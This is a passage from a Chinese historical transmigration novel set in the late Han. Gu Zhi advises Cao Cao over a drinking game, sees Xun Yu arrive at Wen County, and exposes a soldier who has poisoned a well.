曹操瞥到二人的小动作,主语不明地道:
“惯得他。”
“早先便答应了。”曹昂解释道。
这番说辞,曹操不知信了几分,倒是没有再揪着不放。
等用过正餐,曹操再次敬酒。
酒过三
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巡,顾至跟着喝了三勺肉羹。
曹操看在眼里,没说什么,倒是夏侯惇再次投来一言难尽的目光。
旁边的注视太有存在感,以至于……碗里平平无奇的肉羹,竟显得美味了一些。
果然,即使是再难吃的东西,只要吃上了独食,总能让人愉悦那么一两分。
顾至心中暗道,木勺在汤汁上搅起一层泛白的水花。
他垂眸望着碗中的波澜,用木勺将其一分为二。
算算时间,也差不多该公布答案了。
——关于曹操的真实用意。
果不其然,在又一次献酒后,曹操忽然以手拂面,沉沉叹气。
顾至恰巧吸入一颗肉丸,发出响亮的一声“嘬”。
正要进入正题的曹操:“……”
夏侯惇抖了抖嘴角,想要投以谴责的目光,却没能忍住脸颊边的笑意,连忙捂着脸转向另一边。
这一回,投以谴责目光的人换成了曹操,而接受这一谴责的,则是本该为他搭茬的夏侯惇。
即使是对顾至了解不深的曹昂,也能看出顾至刚才是故意的。
在曹昂看来,顾至的言行虽然不似世家大族那般讲究,却也甚有条理,并非对仪礼一无所知的人。
方才那近乎失礼的行为,与其说是不给主家颜面,倒更像是一种警示。
他不想看曹操的这场演出。
这个做法极有有效。尽管曹操略感不悦,但他放弃了委婉试探的想法,直奔主题。
“此处荒芜,临近旧都,董卓的兵马随时会回返。若董卓派人来此劫掠,这座坍塌过半的旧城绝对抵不住西凉铁骑的冲锋。”
顾至垂着眸,无动于衷地搅着碗中的肉羹。
坐在对面的曹昂终究按捺不住,轻而急地唤了一声:“先生。”
顾至丢下汤匙,木制勺柄冲入汤中,在碗内撞出一汪惊涛。
“将军既然心存顾虑,又为何要选这么一处驻地?”
曹操板着脸道:“因为曹某无处可去。”
少许羹汤洒在桌案上,侍从欲上前清理,被顾至制止。
顾至看着曹操,指了指桌上刚溅洒的一滩汤水:“无处可去?难道将军并不是……为了这可能洒落的羹汤而来?”
故意现出几分愁容的曹操神色未变,眼中却多了些许锐意。
“哪来的羹汤,先生莫不是记岔了?”
这是曹操第一次称顾至为先生。
曹昂注意到这一点,短暂的惊讶后,他恍然意识到——二人口中的“羹汤”,指的并不是眼前之物,而是另有寓意。
慎重思虑,曹昂能猜到“羹汤”大概暗指哪个方面,却无法猜到“羹汤”的具体指代。
他下意识地看向夏侯惇,却见夏侯惇微不可查地朝他摇了摇头。
……
同一时刻,温县城外。
一支马队疾驰而过。
“恩主,前方便是温县。”
剑客稍稍放慢马速,转向身侧的青年。
黯淡的月华散落,照亮了柔和清俊的侧脸。
青年微微颔首,湛清的双眸蓦然转向北面。
目之所及,树影幢幢,似被夜风拂动,并无人迹。
青年却是没有转开目光,被月色照得透亮的栗色双眸仿佛幽深了些许。
短暂滞塞间,又一人纵马上前。
“文若,你风寒初愈,可要歇息一番?”
青年收回视线,声嗓温和而谦缓:“多谢世叔,彧已无碍。温县近在咫尺,而夜色渐深,未免不测之忧,宜早些入城。”
被称为世叔的那人多看了青年两眼,见他面色虽有几分苍白,但神清智明,稍稍安心:“既如此,我们便快些入城。”
马队继续赶路。在离开这处官道前,青年再次侧首,扫过静谧广袤的林莽。
“……”
烈风呼啸而过。
策马声渐远,烟尘渐散,人与马消失在道路的尽头。
留在原地的树林仍然寂静而幽深。
曾被青年注目的僻陋之地,一片暗红色的帻巾闪过,快得宛若错觉。
8. 局势
曹操回应“哪来的羹汤”,倒不是刻意装傻,而是因为习惯了当谜语人,所以下意识地反问,想让顾至多说一些。
如果在场的是旁人——比如今天下午来访的陈宫——大概会接过曹操递上的梯子,先露出一个深沉神秘的微笑,再信心十足地分析局势,激扬文字。
然而,曹操忘了,坐在他对面的不是寻常谋士,而是脾性乖张的顾至。
在听到曹操“哪来的羹汤,莫不是记岔了”的反问后,顾至点了点头,放松直起的半身,重新坐回支踵。
“确实记岔了。”
他敷衍地说着,当自己什么都没提。
曹操哽了哽,万万没想到顾至会是这样的反应。
但想到他以往不同寻常的言行,又觉得方才的回应正合乎他奇特的脾性。
“方才不过是说笑。”曹操素来不是个薄面的人,当即改了口风,揽袖斟了一杯酒,
“先生猜得没错,我确实是为‘可能洒落的羹汤’而来。”
曹操长长地叹了口气。
三分为真,七分夸大。
“董卓穷凶极悖,倒行逆施,罪不容诛。酸枣会盟之际,我本欲清荡君侧、匡正汉室,怎奈……”
怎奈关东义军集体出工不出力,吃了个席就走了。
顾至替曹操补完下半句,望着摇曳的烛影。
不管是在史书中,还是在《大魏枭雄志》那本小说里,曹操都奔跑在伐董的第一线。
当袁绍等人在酸枣吃席的时候,曹操在西边出兵;当袁绍等人一哄而散,找了地盘割据的时候,曹操刚刚兵败回归。
边上倒是有个孙坚跟他一样“是男人就砍董卓”了,可就算是同样兵少势孤的孙坚,好歹挂着个长沙太守的实名,沿路吃了南阳、阳人等地的补给包,又从袁术那个小心眼的人手里抠了点军粮,怎么也比曹操的手头宽裕。
曹操如今的一穷二白,尽在不言中。
“天子蒙尘,前路冥茫,”
因为不太好说其他人的坏话,曹操只是点到即止,
“若能寻一处驻地,召集有志之士,筹谋多年,兴许能有援护天子、匡世兴汉之日。”
重点:寻一处驻地。
他现在无处可去,只能在这危险的司隶暂居。
顾至精简地做完阅读理解,很想告诉曹操:不要怕,不用多久,你的强就来了。
一生要强的人,总会碰到适合他的强。
曹操命中注定的强,就是东郡。
依照历史轨迹,东郡会在初平二年(公元191年)被黑山贼暴打。刚当上东郡太守不足一年的王肱没有守卫的能力,直接退位让贤,让曹操成功地捡漏。
而在《大魏枭雄志》这本小说里,为了给故事增加可读性,作者为曹操的初期创业增添了许多磨难。
比如利用原主,策反曹操新招募的士兵,让他成为光杆司令的陶谦部下。
又比如……不久后在温县放了一把大火,害曹操差点失去所有部曲的李傕部下。
陶谦与李傕,这两人在小说中都和曹操有私仇,无时无刻不想着给曹操添堵。
陈宫的到来预示着这一场大火,同时也预示着……曹操的救星快来了。
——那个提前堪破危机,救了曹操与所有部曲的救星。
顾至在心中咬着那个熟悉又陌生的名字。
荀彧,荀文若。
在史籍中璀璨一现,在小说中被落下无数高光,用浓墨重彩涂描智谋与容貌的曹魏谋臣,究竟是什么模样?
短暂的好奇如同微风荡起的水波,转瞬即逝。
见顾至沉默不言,曹操命侍从搬了几坛新酒,摆在墙边。
“光是饮酒,总归少了点乐趣。不如我们来行酒令,如何?”
顾至望了一眼案前的羹汤,一切尽在不言中。
奉酒的仆从接到曹操的眼神示意,麻利地撤下汤碗,清理桌案,奉上了一碗……清水。
“先生既然不能饮酒,那就以水代之。今日设了宴,总得让先生尽兴。”
什么尽兴,喝白开水喝个饱吗?
这句吐槽并没有被说出口。顾至正好渴了,拇指与中指捏着陶碗的边缘,仰头饮了几口。
心知曹操这是打定了主意要撬开顾至的口,曹昂无声一叹,敛袖起身。
“昂不胜酒力,愿为三位做令。”
令者,主持行酒之人。
曹操缓缓颔首。
他的长子曹昂,明目达聪,善察言观色,总是在恰当的时候为他解围,切合他的心意。
“今日,不猜拳,不作赋,只在限定时间内解开令者的难题。”
曹操看向顾至与夏侯惇,抬手,
“二位,请。”
侍从搬来了一口装满清水的瓦缸。
顾至瞥了眼直径比他手臂还长的瓦缸,心想,这一缸要是喝下去,直接水中毒。
但他没有拒绝曹操的提议。或许是无聊,或许是想早点结束这场乏味的试探,他默认了曹操的提议,与夏侯惇、曹操一同,等待曹昂的出令。
曹操和夏侯惇案前的酒卮被撤下,同样换上了巴掌大的陶碗。
“令一。”曹昂起身,执起酒勺。
酒勺顶端的兽首仰面向上,似在仔细倾听。
“河内并非久居之所,若是三位今日离开温县……将会去往何方?”
这个问题直白而无遮掩,与曹操先前的问询别无二致。
夏侯惇略有一些想法,但他没有开口的意思。
他与曹操一样,都想听听顾至口中的答案。
玩着花样绕了一圈,最后还是绕回同一个问题,不知该不该夸曹大公子一句实诚。
顾至耷着眼,再次觉得兴致索然。
即便顺应“命运”的正确答案是东郡,他也不想照本宣科地说出这两个字。
“听闻将军与袁氏本初交好,何不寻求旧友的帮助?”
这个答案与曹操想要的相去甚远,甚至可以说是不敢恭维。
曹操不由生出几分失望。一个能看出他的野心,说出“为了洒落的羹汤而来”的人,怎么会劝他去投靠袁绍?
主持酒令的曹昂揣度着曹操的想法,轻声询问顾至:“先生可是有什么顾虑,不愿开诚相见?”
在一旁佯装了许久透明人的夏侯惇,接过恶人的角色,对着顾至寻衅嗤笑:
“该不会是腹中空空,怕自己的见解沦为笑柄,故意扯了个可有可无的答案吧?”
顾至淡淡道:“夏侯将军说错了。”
夏侯惇挑眉:“哦?”
顾至道:“在下并非腹中空空——夏侯将军莫非忘了?在下方才刚吃了一碗肉羹。”
夏侯惇:“……”
他别过身,仿佛多看一眼顾至就是对自己的侮辱。
曹昂掩去眉间忧色,取了一盏酒卮,斟满,端着来到顾至案前,单跪而拜:
“倘若这个问题让先生为难,是昂之过。只是——这个问题对于昂与家父而言,关乎生死存亡。还请先生不吝金玉之言,指点一二。”
话落,曹昂抬起酒卮,并袖举至眉峰,略作停顿,将酒卮凑到唇边,一饮而尽。
深色广袖遮住曹昂的脸,也遮住顾至刹那变化的眸光。
曹昂饮尽酒液,袖口轻轻沾去唇角的酒渍,正要再拜。
一只修长有力的手拦住他的动作。
“大公子,何必如此。”
顾至已离开席位,托着他的臂膀。
见此,曹操亦离开主位,端着酒碗走到二人身侧。
“这话本该由我这个当父亲的来说,”曹操唏嘘道,“我与先生,曾经因为一些误会闹得不愉快,纵然冰释前嫌,短时间内,也难以让先生对我推心置腹。”
曹操一口饮尽碗中的清酒,让侍
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从取来一只铜甑大的酒坛。
“令者的提问,先生给了答案,而操对此一筹莫展,自罚一坛。”
他仰起头,将那坛比虎首还大的酒器举起,往口中倒酒。
对于顾至敷衍般的答案,曹操绝口不提,只谈自己的错误,只罚自己的酒。
无怪乎……那么文臣武将前仆后继地追随此人。
这个人,和他的大儿子一样,似乎很擅长获得别人的好感。
顾至错开目光,将焦点落在独自孤坐的夏侯惇身上。
好似在说:你就这么坐着?
夏侯惇:“……”
四个人的戏份,只剩三个人留在舞台上,徒留夏侯惇一个人格格不入。
平心而论,夏侯惇一向不喜欢这种暗流汹涌的场合。
但对上顾至的注视,他倏然一笑,捞起墙角绘着鸟篆文、足有四五斤重的酒壶,同样一饮而尽。
少量酒渍顺着下颌蜿蜒而下,没入衣襟,他也并不在意,只随手一拂,向顾至展露空空如也的壶底。
顾至不由轻笑。
将盛酒器当做饮酒器来用,本是一件失礼的事。可这二人做得毫不犹豫,动作如行云般流畅,竟真的罚了一大坛的酒。
若再随意推却,倒显得他胆怯了。
“若要避一时兵祸、因机而变,当取汉中。若要力争上游、占尽先机,当取九河。”
九河,黄河下游支流的总称。
顾至口中的九河,指的是黄河下游沿岸,青、兖二州。
曹操派人取来一张舆图。
“青、兖二地,我亦有心图之,可青州牧与兖州牧皆与我有隙,怕是难有立锥之地。”
……差点忘了,这位在小说里可是举目皆敌,每个州郡都有一个找他麻烦的人。
顾至还未开口,又见曹操指了素缯上的一处。
“此地如何?”
曹操指的是豫州的颍川和汝南。
前任豫州牧黄琬,去岁被召入京城,位列三公,如今已被董卓拖走,绑在长安这条摇摇欲坠的大船上。
如今的豫州牧是兖州人孔伷。
因为黄琬在豫州的威望过高,而孔伷此人的官职又是董卓所任命的,豫州的官员与民众都对这位新豫州牧不屑一顾,难有服从之意。
即使孔伷在征讨董卓这件事上积极响应,设坛立誓,也难以改变他的窘境。
他只担任了不到一年的豫州牧,就从历史上离奇消失。
曹操不知道孔伷离奇消失这件事,但他身为豫州人,显然对豫州的局势十分了解。
“孔伷能说会道,却也只会‘能说会道’。他在豫州寸步难行,颍川郡太守又在不久前命丧,颍川正是群龙无首的时候……”
曹操所说的颍川郡太守,姓李名旻,在讨伐董卓的战役中兵败被擒,惨死于董卓之手。
豫州如今一片乱象,正有“可乘之机”。
“不妥。”顾至抬起食指,在平顶山西侧的峡谷划了个圈,一路向西,在雒阳、陕州砥柱略作停顿,最终直指长安。
曹操盯着顾至划出的区域,若有所思。
“从这条水路走,颍川郡等同于门户大开,将沦为西凉军的屠宰所。”
顾至逐渐肃了神色,
“且,此处临近司隶,董卓为了固守长安,杜绝两面夹击之势,定会将颍川西侧剥皮抽髓,不让任何人有安稳占据的可能。”
曹操蹙了蹙眉,略过有着同样问题的陈留郡,看向更北侧的地方。
“……东郡?”
似乎是命中注定,又像是别无选择。
“可是东郡已被兖州牧的亲信王肱所占,除非另有变故——”
确实另有变故。
顾至沾了些清水,骨节分明的食指在桌案上留下三个隶书字体。
太行山。
“太行山……”曹操眸光一闪,“黑山军?”
9. 荀彧
与聪明人说话果然省力,只需拨开迷雾,指出关键,他们便能立刻领会。
曹操自然也懂了。
虽然还有不懂之处,比如时机,比如兖州牧刘岱的不好相与——但,这些问题没法在一场酒席上就掰扯个一清二楚,哪怕他余味无穷,恨不得抵足而谈,却也尚存理智,知道万事不可操之过急。
曹昂也明白这个道理,因此拾起酒勺,用顶端兕兽的兽首轻轻敲了一记酒瓿。
表示第一场酒令结束。
回声湮散,曹昂开始用酒勺取酒。
“第二问,城外的那些新兵……”
话未说完,取酒的勺子便被一只粗糙宽阔的大手盖住,同时阻遏了他未尽的话语。
曹操不让他继续取酒:“我与你世叔已经醉了。”
曹操与夏侯惇没有饮醉,但这个时候他们“应该”醉了。
……而且,若要再饮一大坛,也着实令人吃不消。
虽有几分遗憾,但曹昂也知适可而止的道理。
“……酒令结束。”
曹操如此退避,顾至却并不觉得松快。
为了不将问题留到下一个酒宴,将今日的弯弯绕绕再表演一回,顾至直截了当地开口。
“群体认同,集体情感。”
正欲起身的曹昂一愣,与曹操、夏侯惇同时看向顾至:
“什么?”
“将军可知先秦氏族为何要有‘图腾’?”
曹操三人尚未开口,顾至已然起身,往门外走。
“信仰,归属,地域认同。为了共同的目标而献出己身。”
走到门边,顾至缓下脚步,微微侧头,
“将军若不知道该怎么驯服新兵,不如——先给这支军队起个好名字。”
抛下这句话,他没有再管三人的反应,阔步离开。
夜风习习,刚步下石阶,就被带着少许凉意的微风扑了满面。
束着的长发张扬地旋舞,跟着风乱打,噼里啪啦地砸在脸上。
顾至:“……”
不得不说,还挺疼的。
原主的发质真硬。
面无表情地把脸上的发丝拨开,顾至第一千零一次怀念起现代的短发。
耳中捕捉到微不可查的异响,顾至懒散的姿态一变,往后掠了几步,无声地藏进梧桐树的阴影中。
他几乎与阴影融为一体,连呼吸都近乎于无。
没过多久,一个小小的身影出现在视野内。
他约有五尺高,穿着朱色直裾,外罩半新不旧的绾色缊袍,踏着一双檀色虎头小履,鬼鬼祟祟地从墙角冒头。
正是曹操那个年仅六岁的儿子,阿猊。
躲在墙角后观望了片刻,没有发现任何人影,阿猊蹑手蹑脚地走进主院,沿着墙角,悄咪咪地往外院的方向挪。
黑沉的夜幕之下,零碎的月光之中,一坨圆圆的,好似朱色豆虫的身影一扭一挪,终于摸到外院。
外院东侧杂草丛生,杂草掩映之处,一个二尺高的小洞平平无奇地立在墙角,等着人去钻研。
那豆虫……阿猊钻了进去。
顾至悄无声息地旁观着这一切,轻悠悠地来到那一处矮洞旁。
阿猊瞧着肉嘟嘟的一个小童,动作却是麻利,只这么片刻的功夫,他已经钻出了矮洞,拔腿就跑。
黑黢黢的巷子吞没了他的身影,也吞没了顾至脸上的最后一丝悠闲。
……麻烦。
顾至单手抵在墙上,借力一蹬,悬空滚翻了两周,如同一个身经百战的跳马运动员,顺溜而流畅地翻出了院墙。
右手与左膝无声点地,落在草地上,几乎没有发出声响。
随后,左腿顺势一蹬,短跑起步,毫无停顿地冲了出去。
只二三息的功夫,他重新看到阿猊的身影。
阿猊迈着小短腿,飞快地奔跑,并未发现身后还跟了一个人。
顾至放慢脚步,不紧不慢、不远不近地跟在阿猊身后,随着他跑了大半条街道。
不久,城东破败的城墙徐徐浮现——那是曹氏部曲的驻地。
顾至的方向感不错。
在进城时,曹昂曾在此处与休憩的众多部曲打过招呼,给他留下了些许印象。因此,即使是在黑夜中,顾至也一眼就认了出来。
驻地前方,被刻意清扫出来的空地上,嘈杂喧嚣,灯火通明。
十多个人举着火把围在一处,不知在做什么。
远远有几道像是争论的声音传来。顾至注意到,阿猊的脚步倏然慢了下来。
这个半大的小孩像是在琢磨着什么见不得人的事,原地磨了一会儿脚趾尖,嗖的一下,躲到附近一棵柳树的后面。
阿猊在暗处观察那边的热闹,顾至又在更远的地方观察着阿猊。
一时之间,遥遥俯瞰,竟呈现出诡异的“螳螂捕蝉,黄雀在后”的画面。
习武之人往往耳聪目明,顾至更是其中的翘楚。
即便离得较远,他也将那边的动静听得一清二楚。
“胡言乱语,分明是你在井边鬼鬼祟祟,竟还倒打一耙、诬蔑栽赃。”
一个穿着灰色短褐,腰佩匕首的束发少年,怒气汹汹地指着某个曹氏部曲,饱满的面颊因为气愤而涨得通红。
被指着的曹氏部曲是个方脸粗颈的大汉,不甘示弱地回敬:
“我在巷内居住,到井边打点水洗漱,有什么不对?只是打水,又没去别的地方偷水,咋就鬼鬼祟祟了?倒是你们这伙人,一个个脸生得紧,到底是从哪个犄角旮旯里偷偷摸进城的?天早就黑了,若换了别处,早已开始宵禁,你们却在这时候入城?莫非——是仗着这座城荒芜冷清、无人管辖,想在这趁机作乱?”
“你不要血口喷人!我分明看到你从袖子里取出不明的物什,把那玩意儿丢到了井中。”
“我好端端的,为嘛要把玩意儿抛井里?反倒是你这小子,形迹可疑,被我叫破,竟反咬我一口,说我鬼祟可疑。到底谁心里有鬼?我看你们这群人不像是好人,一个个别有居心,莫非是董贼派来的探子?”
方脸大汉显然更善于口舌之争,带着方言口音的腔调听起来憨厚淳朴,却是三两句就将少年气得跳脚。
“谁是董卓的探子?你侮辱谁呢!?”
原本还想据理力争的少年急了,不管不顾地掳起袖子,被身旁一个配刀的武者一把拉住。
“不要动手——家主还在城外,莫要再生事端。”
少年悻悻的闭嘴,对面却是不依不饶。
“依我看呐,这一伙子人来历不明,放任他们入城,怕是会伤到城中的平民,不如将他们先抓起来,等天亮了再汇报给主家。”
方脸大汉一身正
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气地说着,说出的话颇有几分道理。
当即有不少部曲士兵点头应和,他们看向少年这方的目光变得极为不善,只有少部分脑子活泛的,对此迟疑未决:
这些人不似恶徒,直接动刀动枪是不是不太好?万一是前来拜访曹操的贵客……
这部分人委婉小声地提醒,没能改变方脸大汉的想法。
“贵客岂会在大晚上登门打扰?这些人身形魁梧、目光不善,一看就不是什么好人。”
不远处,柳树的后方,扒着树的阿猊小小地翻了个白眼。
“你都先声夺人,说对面鬼鬼祟祟了,他们还能眼神友善?”
阿猊嘀咕着,觉得这个方脸大汉的脑子不太好使。
顾至听到了阿猊的嘟囔,猜到他未说出口的想法,缓缓翘起唇。
脑子不好使?
恐怕恰恰相反。
眼见双方水火不容,即将动手,不远处忽然传来了杂乱无章的马蹄声。
双方停下争执,透过坍塌了小半、还未修砌的墙面,远远望去。
一支齐整的马队踏着月色,疾驰而来。
清辉之下,为首的两人光华夺目,英姿焕发。
左侧那人约莫四十出头,蓄着短须,分明是文人的装扮,却眉目如电,轩昂而凌厉。
而右侧那人……
顾至望着那云松落雪般的青年,不期然地一顿。
黯淡的月华在他的眉目间流连,只是简单的垂目,却好似有万千浮光在他的身侧辗转,轻轻地撞落松枝上的霜雪。
初秋……怎么会下雪呢。
顾至别开目光,再看向马队时,已然恢复清冷,只余虚无的寒冽。
马队靠近城门,并没有继续纵马,从坍塌的那半堵墙里一跃而过,而是齐齐勒马,井然有序地停在城门外。
他们纷纷下了马。
看清了为首的两人,少年面露喜意:
“主君,荀郎。”
青年掩袖轻咳了一声,朝少年有礼地颔首,询问身旁的男子:
“那是世叔的家侍?”
“正是。”男子顾不上关心青年的身子,疾步上前,扫了眼曹氏部曲,转向灰衣少年。
“阿布,这是怎么一回事?”
男子身后,被称为荀郎的青年无声观察着众人,倏然,他毫无征兆地侧首,看向空无一人的民居。
清湛的目光跨过空旷破败的道路,径直抵达顾至所在的方位。
顾至确定他的身形藏在这群人的视线死角,不管是曹氏部曲、阿猊,还是这个荀郎,都不可能看到他。
却不知道为什么,分明像是随意又突兀的一瞥,对方却没有移开目光。
如果不是巧合……
回想《大魏枭雄志》中,寥寥记得的剧情,顾至在心中划出了一个名字。
在这个时候出现在温县,又带着“荀”这个并不大众的姓氏。
这个荀郎,大概率是曹操在温县这一段剧情的救星,荀彧。
书中记载,荀彧“敏锐识人,贯微动密”。
总不至于是……这么一个敏锐法。
保持着原有的呼吸,藏在断垣之后,顾至晃动大拇指,缓缓摩挲着食指与中指的指腹。
有意思。
他一点一点地勾起唇。
事情忽然变得有趣起来。
10. 逆鳞
乌灯黑火,入目所及,空荡而幽冷。
荀彧收回视线,看向眼前的闹剧。
被他称为世叔的男子——杜袭已然听完了年轻侍从的告状,没有贸然发怒。
他朝着围过来的众多曹氏部曲拱手:
“诸位,我乃颍川杜氏,单名袭,前来拜谒曹校尉。这几个是我的侍从。今夜这场纷争,兴许是一场误会,不如各位冷静一些,彼此找个地方,坐下聊一聊,也好解开误会。”
对方一副士人的装扮,说出的话却平易近人。
再加上对方提到曹操,一些部曲被浇熄了怒火,不好再起哄给脸色。
倒是那个方脸大汉仍肃着脸,狐疑地看向杜袭。
“颍川名士杜子绪,前任济阴太守之孙?”
“正是不才。”
方脸大汉神色微变,却仍绷着脸:“可有棨传?”
棨传,即通行凭证,是一种由木头所制的符信。
为了防止可疑的人入城,要求出示棨传,这是个合情合理的要求,只是……
“而今战乱四起,各郡县的官员频频更替,已鲜有郡县愿出棨传一物。”
杜袭解释道。
听了这话,方脸大汉又多了几分不善:
“这么说来,恁们并不能证明自己的身份?”
杜袭蹙眉道:“虽无棨传,倒是有州郡长官的引荐信。”
方脸大汉不为所动:“若引荐信是伪造的,倒也无人可知。”
此人明面上只是做了个假设,可任凭谁都知道他这话是什么意思。
杜袭收了那副平易近人的模样,冷下声:
“阁下非要与我们为难?”
“并非为难。”方脸大汉声若洪钟,端的是浩气凛然,不见任何心虚与歹意,
“我等虽非县吏,却也要为当地的百姓负责,更要为主家的安危负责。你们来历不明,又在深夜入城,着实可疑。我只想请各位到边上的小院安置,等天亮了,报过主家,确认了身份,再让各位通行。若各位确实身份无误,我钱四,定会褪去衣袍,跪下来给各位请罪。”
他这番模样太过正派,又有理有据。即便是最初指责钱四,说他偷偷往井里丢不明物的杜家侍从,也忍不住心生嘀咕,怀疑是不是自己真的看岔了,或者误解了对方的行为。
难道钱四拦着他们不让走,真的不是因为心虚,而是排查可疑的陌生人,履行守卫的职责?
杜袭感受到少许违和,狐疑地盯着钱四。
钱四不慌不忙地任他盯着,神色笃定。
他的唇角不易察觉地上扬了几分,正想继续开口,忽然听到一个清越泠然的声音。
“卞郎,你先前离那口井多远?”
钱四舔了舔干燥的唇,看向声音的来源。
菉竹色的身影挺拔而风雅。
那个与杜袭同来的青年,正在向灰衣少年询问细节。
钱四提起耳朵。
“回荀郎,就在那一处。”卞郎指着靠近钟鼓楼的位置,“距井约五六丈。”
五六丈的距离,说远不远,说近也绝对不近。
“也就是说,你们并未靠近陶井。”
听到青年的这句话,钱四不由往他的方向走了两步。
“这位公子……”
荀彧侧首瞥了他一眼,在月色下泛着粼粼微光的双瞳,仿佛看穿了一切。
钱四心中一慌,不由停下了脚步。
却听荀彧话锋一转。
“离得那么远,你们怎么能确定这位壮士往井里丢了东西,莫不是看错了?”
钱四脚步一顿,立即道:“对对,一定是这位小兄弟看错了。”
他的语气随之一软,“我看诸位也不似大奸大恶之人,方才的事多半是误会。天色已晚,诸位旅途疲惫,不如就在附近院落歇息。至于进城……嗐,怎么也得等天亮再说,这么晚了,我们也不好打扰主家,还请各位多担待。”
藏在柳树后的阿猊面露疑惑。
他不懂,为什么几句话的功夫,双方都软和了下来。
站在更远处的顾至在心里摇了摇头,对钱四的反应感到失望。
这人擅口舌,也有几分聪明,却还是不够沉得住气。
原本,仅凭着暂时扣押他们这件事,荀彧尚且不能完全确定钱四这人是否有问题。
现在,钱四一听到有利自己的言论,就马上变脸,滑跪得这么快,这不是打了他自己的嘴巴,和他原先表现出的严谨、负责的态度相悖吗?
果不其然,在听到钱四“息事宁人”的言论后,荀彧非但没有因为他的软化而高兴,反而在眸光中融了一丝锋锐。
“既然是误会——壮士可否去井中取一桶水,饮个一盏,也好安了这位小郎君的心?”
钱四神色一狞:“公子这是何意?还是要往我身上安罪名?”
“不敢,”荀彧神色淡然,不卑不亢地接道,“不过是想用最简便、有效的方法,解开彼此的误会罢了。”
“恐怕不妥。”这一回,曹氏部曲中站出了一个年轻人。此人原先并非插足这段风波,毫无存在感地杵在角落,此刻却是第一个为钱四帮腔,
“钱伍长今早有些腹痛,医者让他不要饮用冰凉之物。”
其他部曲纷纷点头:“是啊,早上医者过来的时候我们也在……”
有少部分人隐隐察觉到了端倪,但在事态未明朗之前,他们都一致对外,没有贸然开口。
“这么巧的嘛?”树后的阿猊挠着裤腿,不明白都初秋了,这么还有这么多蚊子。
他一心二用地关注着事态,紧紧盯着钱四那张方正憨厚的脸。
不知是不是他的错觉,钱四的眉宇间似乎掠过少许焦灼与不耐。
“今日诸位莫非真要将这捕风捉影的罪过安在我的头上?好,昊天在上,我钱四今日起誓——若我包藏祸心,往井里丢了害人的玩意儿,就让我不得好死——不知这样可行?”
一听到钱四发重誓,原本还略有些动摇,满肚疑虑的曹氏部曲,顿时对杜袭这群人生出强烈的不满。
“欺人太甚,不过是让他们在院中稍作休憩,竟如此咄咄相逼。”
“在宵禁时分摸黑入城,此等可疑行径,要放在别处,早已将他们打杀了,岂会与他们分说缘由?”
“这些人就是来闹事的吧。真当我们软弱可欺?”
……
无人得见的角落,原本优哉游哉看戏的顾至,在听到钱四对天发誓后,唇角的弧度挂了下来,眼中蒙上了一层寒霜。
站在人群正中,被各种不善视线包围的荀彧,不见任何慌促。
清冽的视线扫过人群,将所有可能是共谋的人物一一记下。
而后,他淡然抬眸,看向钱四的衣袂,正要予以致命一击。
倏然,一道浅色的衣影闪过。
众人眼前一花,还未来得及反应,钱四的身影已然消失无踪。
在变故发生的前一刻,荀彧的手按上了佩剑,却因为一丝奇异的直觉,搭在剑柄上的手并未将剑拔出。
栗烈的目光看向陶井的方向。受惊的人群跟随他的目光,下意识地看向一侧。
井栏上的支架发出异响,栏上的滑车开始咕噜噜地汲水。
一个高挑俊拔的束发少年正提着钱四的衣领,剪着他的双手,将他按压在井沿。
“你是何人——”钱四大惊失色,刚厉声质问了半句,从滑车提上来的木桶就被少年单手拎起。
“这么喜欢发誓,怎么让你喝个水就磨磨唧唧的?”
独属于少年的声音清澈而悠扬,听在钱四耳中却莫名令他发冷。
拎着钱四衣领的手用力一按,上方的脑袋就如同一块可以随意挥舞的汤勺,被不容违逆地塞入了木桶中。
“喝。”
钱四的头在木桶中咕噜噜了两声,被迫咽下好几口井水。
有几个曹氏部曲心惊胆裂,疾步向前,满脸怒火地想要阻止。
可他们还未走出几步,就被附近的同侪挟住了胳膊。
“且慢,你先看看那是谁!”
“那可是三招就将张闻杀了的煞星,你敢去招惹?”
视力差的多看了两眼,发出一声爆鸣:“他爷爷的,是那个顾至啊!”
曹氏部曲与后来招募的新兵不同,他们当中有一半人亲眼见识过顾至的武力值,另外一半人从同
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伴的口中听到了此人“衔箭逼敌”“杀敌夺马”的彪悍事迹,口口相传之下,几乎要将他妖魔化。
此时见顾至莫名其妙动手,像是被对方踩中了逆鳞,正在发作的气头上,哪有人敢上前触霉头。
荀彧听着四周的窃语,指腹摩挲着剑柄上的纹饰。
顾……至?
无声叨念着这两个字,他将视线落回狼狈不堪的钱四身上。
零星的议论声涌入钱四的耳内。
他早从同侪口中听过此人的威名,只凭方才那一句话,一个举动,他差点以为自己会溺死在顾至手里。
谁曾想,看似失去理智的顾至并没有真的对他下狠手。
在被迫吞咽了几口井水后,钱四重获自由,被随手扔到一边。
虎口逃生让他松了口气,瘫软在地上,可随即,钱四脸色骤变,扶着陶井的边缘,毫不犹豫地将手伸进喉咙中,试图催吐。
几个胆大的部曲起哄道:“钱四,用不着这样吧,只是饮了几口井水而已,又没有喝太多。平日我们都是生饮井水,在行军赶路的时候,连泥潭水都喝过。你的谷府就是再虚寒,喝的这两口水也不会加重你的病征。”
另外有人笑道:“别是被吓破了胆。”
他们敌视来路不明的外来者,一致对外,却因为曹操的态度,将顾至当做了自己人。
自己人欺负了自己人,又没有做得太过分,他们乐得看热闹。
井边,顾至冷眼盯着钱四的举动,没有制止。
荀彧轻声道:“他在井中投了毒,自然要将方才所饮的两口井水呕出来。”
一时之间,嬉笑声戛然而止。
曹氏部曲僵硬着脸,相觑无言。
有人想要发怒,斥一句胡说八道,可看着顾至冷漠的神色,以及钱四明显古怪异常的催吐之举,一个个哑口无言,好似喉咙被汤饼封住了一般。
卞郎恍然大悟:“原来如此。他怕我们想到这最浅显、最有效的方法,所以一直在胡搅蛮缠,用看似有理有据的话引导我们。”
为了让卞郎等人无计可施,即使想到了这个简单的办法也用不出来,钱四刻意挑动同侪的怒火,使劲在他们的身份贴上“可疑”二字。
荀彧的那番话,是在引导钱四,让他自相矛盾,辩无可辩。
却没想到半路又杀出一人,直接按着钱四的头,逼他喝了井水。
卞郎好奇地看向顾至,猜测着他的身份。
钱四呕了几口,不确定是否有将井水全部呕出,脸色逐渐变得狰狞。
他狠狠指向顾至:“并非我在井中投毒,是他,他不知在我嘴里喂了什么东西……”
众部曲沉默。
此处虽然只染着几支火把,略有些昏暗,但顾至在行动前,特意说了一句话,又选好了方位。
他给众人留了转移注意的时间,又给众人选好了角度。
他的每一个举动,都在所有人的眼皮底下。
每一个人都看到,顾至一直按着钱四的后颈,没有碰过他的脸。
